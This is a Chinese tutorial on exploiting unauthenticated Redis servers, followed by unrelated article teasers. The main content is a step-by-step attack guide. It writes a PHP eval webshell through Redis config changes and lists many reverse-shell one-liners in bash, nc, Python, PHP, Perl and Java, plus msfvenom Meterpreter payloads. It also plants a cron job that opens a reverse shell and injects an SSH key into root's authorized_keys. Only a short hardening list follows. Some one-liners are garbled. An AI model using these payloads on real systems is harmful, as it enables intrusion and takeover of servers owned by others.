02-Redis未授权访问漏洞

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

本文为超全超详细的Redis未授权访问漏洞详谈。

1、Redis常见用途

  • 缓存
  • 分布式session、分布式锁、分布式全局ID
  • 计数器、限流
  • 列表
  • 抽奖
  • 标签
  • 排行榜

Redis常用数据类型:

  1. String:字符和整型
  2. Hash:哈希表
  3. List:有序数组
  4. Set:无序集合
  5. ZSet:有序集合

2、环境安装

使用到的环境及工具有:
1、kali
2、两台redis
3、蚁剑
Redis安装在网上有很多讲述,这里就不赘述了。
这里需要两台redis(一台redis-client,一台redis-server。使用的是centos7)。
重要的是更改redis.conf配置

vim小技巧:快速查找可以输入/然后打上要找的指令。例如:/daemonize no

  1. 窗口一关服务就挂了,所以改这样改:
 daemonize no  改为daemonize yes
  1. 取消IP绑定bind, 默认的是:bind 127.0.0.1 。要前面加个#号
# bind 127.0.0.1
  1. 开放6379端口或者关闭防火墙
systemctl status firewalld #检查防火墙状态
systemctl stop firewalld.service    #关闭防火墙
systemctl disable firewalld.service    #禁止开机启动
  1. 不需要密码(默认)requirepass yourpasswd 把这一行注释掉
# requirepass yourpasswd

3、Redis持久化机制

把内存的信息,不定时的存入到硬盘内。有两种保存机制

  1. RDB Redis DataBase (默认)
  2. AOF Append Only File

配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
运维管理员手动触发保存命令:save / bgsave

4、Redis动态修改配置

config set:动态修改配置,重启以后失效

这里是搭建了一个小皮面板。

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

然后下面操作把配置地址修改到/www/admin/localhost_80/wwwroot下。然后改了名称

config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aaa bbb
save

在这里插入图片描述

// 这里的conn是我通过alias写的快捷连接命令。
在这里插入图片描述

去文件下查看是否成功并写入命令
在这里插入图片描述
在这里插入图片描述

这里我们就成功了。这里说明我们可以通过修改redis的配置文件的目录及名称并往其中写入php脚本比如一句话木马。这就可以做很多事了。

5、利用Redis实现攻击

5.1、webshell提权

我们先清空redis.php里的内容

flushall
save

在这里插入图片描述
写入我们的一句话木马,前面的x也就是key无关紧要

set x "<?php @eval($_POST[sydm]); ?>"

在这里插入图片描述
写入成功
在这里插入图片描述
使用蚁剑连接测试一下,成功上线
在这里插入图片描述
在这里插入图片描述

5.2、bash反弹连接提权


这里就要提一下,什么时候要用到反弹连接

  1. 内网,私有IP
  2. IP动态变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除
    正常连接是。我们控制机去连接靶机。
    反弹连接是。让靶机来自动连接我们控制机

5.2.1、反弹连接的实现

要解决两个问题

  1. 控制机怎么监听一个端口?
    三种监听方式

    1.netcat

    nc -lvp 7777
    

    2.msf

    msfconsole
    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.110.5
    set lport 7777
    run
    

    3.socat(kali)

    socat TCP-LISTEN:7777 - 
    
  2. 靶机怎么连接到控制机的端口?
    常见的连接方式有以下几种

    1. Linux bash
    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    
    1. netcat
    nc -e /bin/bash 192.168.110.14 7777
    
    1. Python
    python -c "importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.110.14',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    1. PHP
    php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.142.44 7777");'php -r '$sock=fsockopen("192.168.110.14",7777);exec("/bin/bash -i<&3 >&3 2>&3");'
    
    1. Java
    r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/7777;cat<&5 |while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
    
    1. perl
    perl -e ' useSocket;$i="192.168.142.44";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    1. msf-PHP
    msfvenom -p php/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -o shell.php
    
    1. msf-Java
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f war -o shell.war 
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f jar -o shell.jar
    
    1. msf-exe
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.14 lport=7777 -i 5 -f exe -o test.exe
    

还有很多连接方法,根据不同环境进行操作。(其实很多都是基于bash连接的)

5.2.2、netcat实际操作

  1. 先在redis-client开启监听

    nc -lvp 7777
    

    在这里插入图片描述

  2. 接着在服务端输入连接口令(注意,这里的ip是我们控制机的ip)

    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    

    在这里插入图片描述

这时候客户端就有消息提示连接了,测试一下。客户端输入的指令,是不是在服务端运行。输入ifconfig。我们这台客户端ip是110.14,服务端ip是110.15.

在这里插入图片描述
连接成功。

5.2.3、socat实际操作

socat是在kali上运行的。

  1. 在kali上开启监控7777端口
		socat TCP-LISTEN:7777 - 

在这里插入图片描述

  1. 在redis-server上连接kali的ip.(kali的ip为110.5)
	bash -i >& /dev/tcp/192.168.110.5/7777 0>&1

在这里插入图片描述

kali上冒泡了,连接成功

在这里插入图片描述

5.2.4、msf-exe实际操作

  1. 生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.5 lport=7777 -i 5 -f exe -o test.exe

在这里插入图片描述

  1. 把文件先取出来
sz file test.exe

在这里插入图片描述

  1. 放在我们要监听的windows(ip:110.6)虚拟机上,并双击执行

在这里插入图片描述

  1. 在kali上设置监听
	msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.110.5set lport 7777exploit

在这里插入图片描述

  1. 连接成功后,可以执行一系列命令meterpreter可以执行很多操作
#查看本机信息
sysinfo
#截图
screenshot
#进入windows命令
shell
#查看本机ip
ipconfig

在这里插入图片描述


5.2.5、反弹连接总结

详谈一下

bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
#打开一个交互式的bash终端
bash -i
#将标准错误输入合并到标准输出轴
>&
#与远程机器(也就是我们的控制机)建立一个socket连接
/dev/tcp/192.168.110.5/7777
#将标准输入重定向到标准输出中
0>&1

这也就是为什么我们在控制机上输入的内容会在靶机上执行,然后结果反弹回控制机上

流程:

  1. 监听端口
  2. 执行命令,或者上传payload访问,建立连接

怎么上传?

  1. 文件上传漏洞
  2. 写入文件:MySQL、Redis、CMS
  3. 文件编辑命令:tee、test.py

怎么执行?

  1. 访问
  2. 定时任务自动触发

5.3、定时任务

cron表达式
这边可以用在线工具生成,也有说明
地址:https://www.pppet.net/

命令操作
crontab -u root -r删除某个用户的任务
crontab -u root time.cron把文件添加到某个用户的任务
crontab -u root -l列举某个用户的任务
crontab -u root -e编辑某个用户的任务

cron文件存储路径

#这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/var/spool/cron 
#放的是对应周期的任务dalily、hourly 、monthly、weekly
/etc/crontab 

5.3.1、通过定时任务建立反弹连接

  1. 在redis服务器上启动redis服务,并输入netstat -an|preg 6379。查看是否启动成功
    在这里插入图片描述
  2. redis客户端启动监听端口
nc -lvp 7777

在这里插入图片描述

  1. 另起一台redis客户端连接服务器并写入反弹命令
# 这里面的*****代表的是每分钟执行一次
#\n是为了和其他数据换行
set x "\n* * * * * bash -i >& /dev/tcp/192.168.110.14/7777 0>&1\n" #要把这个写入到/var/spool/cron/下
config set dir /var/spool/cron/#这里要用root用户
config set dbfilename root#最后保存
save

在这里插入图片描述

这里我们可以去服务器下验证一下,看文件是否存在内容有没有写入
在这里插入图片描述

4.连接成功
过一会就连接上了
在这里插入图片描述
这里就可以用wget等等就做一些事了

5.4、SSH key免密登陆

5.4.1、ssh key简述

5.4.2、使用ssh key进行免密登陆

  1. 生成ssh-key,其他内容直接回车就行
shh-keygen
  1. 查看一下在.ssh下,有两个文件了。pub就是公钥,另一个就是私钥了

在这里插入图片描述

  1. 将公钥发送到服务器
ssh-copy-id root@192.168.110.15

在这里插入图片描述
我们在服务器就可以查看到传输了
在这里插入图片描述
同时这个authorized_keys的内容也就是这一串字符,这说明了什么,我们同样可以使用redis写入,达到把公钥放在靶机上。

  1. 这时候服务端就有我们的公钥了,就可以进行免密登陆
# 注意这个要在.ssh目录下才能使用到这个密钥
ssh -i ./id_rsa root@192.168.110.15

登陆成功
在这里插入图片描述

5.4.3、通过redis完成

  1. 先进行redis连接,先写入一些换行符
conn
set sshkey "\n\n\n----\n\n\n"

在这里插入图片描述

  1. 再开一台client,把公钥拿到
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain

在这里插入图片描述

  1. 清空内容再写入我们的公钥
flushall
set sshkey "/n/n/ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain/n/n/n"
save

在这里插入图片描述

  1. 修改文件路径及文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
save

在这里插入图片描述

  1. 连接成功

在这里插入图片描述

5.4.4、总结

  1. 控制机连接到Redis
  2. 向$HOME/.ssh/authorized_keys写入公钥
  3. ssh -i ./id_rsa user@IP 使用私钥免密登录(这里的user代表角色可以用root,IP为靶机ip)
  4. 执行后续操作

redis还有其他提权操作:

  1. 基于主从复制的RCE(Remote Code Execution)
  2. jackson 反序列化利用
  3. lua RCE
  4. Structured Query Language
  5. Redis密码爆破

8、Redis加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis

9、一些问题总结

  1. 怎么知道有这个根目录把redis配置文件写在这下面
    这一般是通过目录扫描等方法得到的,并且80端口是否有开放这些都是信息收集得到的。这个只是其中一种提权手段
  2. 在使用redis写入sshkey时,后面连接还是需要输入密码。这个在写入的时候前面加两个换行符就可以避免/n/n

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/46953.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IDEA快速生成项目树形结构图

下图用的IDEA工具&#xff0c;但我觉得WebStorm 应该也可以 文章目录 进入项目根目录下&#xff0c;进入cmd输入如下指令&#xff1a; 只有文件夹 tree . > list.txt 包括文件夹和文件 tree /f . > list.txt 还可以为相关包路径加上注释

ROS-机械臂——从零构建机器人模型

URDF建模 URDF URDF&#xff0c;全称为 Unified Robot Description Format&#xff08;统一机器人描述格式&#xff09;&#xff0c;是一种用于描述机器人几何结构和运动学属性的标准文件格式。URDF 文件通常用于机器人模拟、路径规划、控制算法开发和可视化等领域&#xff0c…

React学习笔记03-----手动创建和运行

一、项目创建与运行【手动】 react-scripts集成了webpack、bable、提供测试服务器 1.目录结构 public是静态目录&#xff0c;提供可以供外部直接访问的文件&#xff0c;存放不需要webpack打包的文件&#xff0c;比如静态图片、CSS、JS src存放源码 &#xff08;1&#xff09…

十大经典排序算法(1)——冒泡排序

一、算法简述 冒泡排序&#xff08;Bubble Sort&#xff09;是一种简单直观的暴力枚举式排序算法。它重复地遍历要排序数组&#xff0c;每次比较两个相邻元素&#xff0c;如果顺序错误就把他们交换过来。直到数组已经按照顺序排列&#xff0c;冒泡算法之所以叫做“冒泡”&…

公司想无偿裁员,同事赖着不走

关注卢松松&#xff0c;会经常给你分享一些我的经验和观点。 这招好像也不错! 事情是这样的&#xff1a;某公司准备把成本高的员工都裁掉&#xff0c;主要包含研发部和程序员&#xff0c;总共18个人&#xff0c;准备裁掉10人&#xff0c;因为他们工资开的太高了&#xff0c;…

HTML+CSS+JS井字棋(来自动下棋)

井字棋 自动下棋 玩家先下&#xff0c;计算机后下 源码在图片后面 点赞❤️收藏⭐️关注&#x1f60d; 效果图 源代码 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <title>Tic Tac Toe Game</tit…

释放DOE的能量,快速确定最佳工艺设置,节省时间、成本和资源

您是否希望降低成本、提高生产效率&#xff0c;并最大限度地减少行业对环境的影响&#xff1f; 所有行业&#xff0c;尤其是钢铁、铝、水泥和石化等能源密集型行业&#xff0c;都面临着应对这些挑战的持续压力。供应链压力、可持续发展、严格的监管环境、日益增长的消费者预期…

【Linux】权限的管理和Linux上的一些工具

文章目录 权限管理chgrpchownumaskfile指令sudo指令 目录权限粘滞位Linux中的工具1.软件包管理器yum2.rzsz Linux开发工具vim 总结 权限管理 chgrp 功能&#xff1a;修改文件或目录的所属组 格式&#xff1a;chgrp [参数] 用户组名 文件名 常用选项&#xff1a;-R 递归修改文…

股指期货与股票抛空机制的区别是什么?

在投资的世界里&#xff0c;有两种看似相似&#xff0c;实则大有不同的玩法&#xff1a;股指期货和股票抛空。让我们用通俗易懂的话来搞清楚这两者的区别。 股票抛空&#xff1a;借来卖出&#xff0c;期待低价买回 想象一下&#xff0c;你看到市场上有只股票&#xff0c;觉得…

基于STM32设计的超声波测距仪(微信小程序)(186)

基于STM32设计的超声波测距仪(微信小程序)(186) 文章目录 一、前言1.1 项目介绍【1】项目功能介绍【2】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】ESP8266工作模式配置1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献1.4 开发工具的选择1.5 系统框架图…

Latte: Latent Diffusion Transformer for Video Generation

文章目录 AbstractIntroductionMethodology潜在扩散模型的初步研究Latte的模型变体Latte的实验验证潜在视频片段的patch embeddingTimestep-class information injectionTemporal positional embedding通过学习策略增强视频生成 Experiments Abstract Latte首先从输入的视频提…

成像光谱遥感技术中的AI革命:ChatGPT

遥感技术主要通过卫星和飞机从远处观察和测量我们的环境&#xff0c;是理解和监测地球物理、化学和生物系统的基石。ChatGPT是由OpenAI开发的最先进的语言模型&#xff0c;在理解和生成人类语言方面表现出了非凡的能力&#xff0c;ChatGPT在遥感中的应用&#xff0c;人工智能在…

太速科技-FMC207-基于FMC 两路QSFP+光纤收发子卡

FMC207-基于FMC 两路QSFP光纤收发子卡 一、板卡概述 本卡是一个FPGA夹层卡&#xff08;FMC&#xff09;模块&#xff0c;可提供高达2个QSFP / QSFP 模块接口&#xff0c;直接插入千兆位级收发器&#xff08;MGT&#xff09;的赛灵思FPGA。支持利用Spartan-6、Virtex-6、Kin…

PTA - 接收n个关键字参数

接收n个以关键字形式传入的参数&#xff0c;按格式输出。 函数接口定义&#xff1a; def print_info (**keyargs) 提示&#xff1a;keyargs为可变参数&#xff0c;其可接受若干个关键字形式的实参值&#xff0c;并将接收到的值组装为一个字典。 裁判测试程序样例&#xff1…

数据库:redis练习题

1、安装redis&#xff0c;启动客户端、验证。 redis-server redis-cli 2、string类型数据的命令操作&#xff1a; &#xff08;1&#xff09; 设置键值&#xff1a; set mykey "haha" &#xff08;2&#xff09; 读取键值&#xff1a; get mykey &#xff08;3&…

MSSQL Server运维常用SQL命令

1、数据库连接数 select name, state, state_desc from sys.databases; 查询结果&#xff1a; 2、数据库状态 select name, state, state_desc from sys.databases; 查询结果&#xff1a; 3、数据文件状态 select a.name, b.physical_name, b.state, b.state_desc from sy…

03MFC画笔/画刷/画椭圆/圆/(延时)文字

文章目录 画实心矩形自定义画布设计及使用连续画线及自定义定义变量扇形画椭圆/圆输出颜色文本定时器与定时事件画实心矩形 自定义画布设计及使用 连续画线及自定义定义变量 扇形 画椭圆/圆 输出颜色文本

尚品汇-(十六)

目录 商品详情功能开发 &#xff08;1&#xff09;搭建service-item &#xff08;2&#xff09;获取sku基本信息与图片信息 &#xff08;3&#xff09;获取分类信息&#xff08;查看三级分类&#xff09; 商品详情功能开发 &#xff08;1&#xff09;搭建service-item 点…

状态管理的艺术:探索Flutter的Provider库

状态管理的艺术&#xff1a;探索Flutter的Provider库 前言 上一篇文章中&#xff0c;我们详细介绍了 Flutter 应用中的状态管理&#xff0c;以及 StatefulWidget 和 setState 的使用。 本篇我们继续介绍另一个实现状态管理的方式&#xff1a;Provider。 Provider优缺点 基…

笔记 2 : 课本第 3 章开始,记录 arm 的汇编指令的格式

&#xff08;13&#xff09; 介绍 arm 中的第一个汇编指令的用法 mov &#xff1a; &#xff08;14&#xff09;立即数的概念&#xff1a; &#xff08;15&#xff09; 汇编中的移位写法&#xff1a; 举例 &#xff1a; &#xff08;16&#xff09; 学习一个新的指令 cmp &a…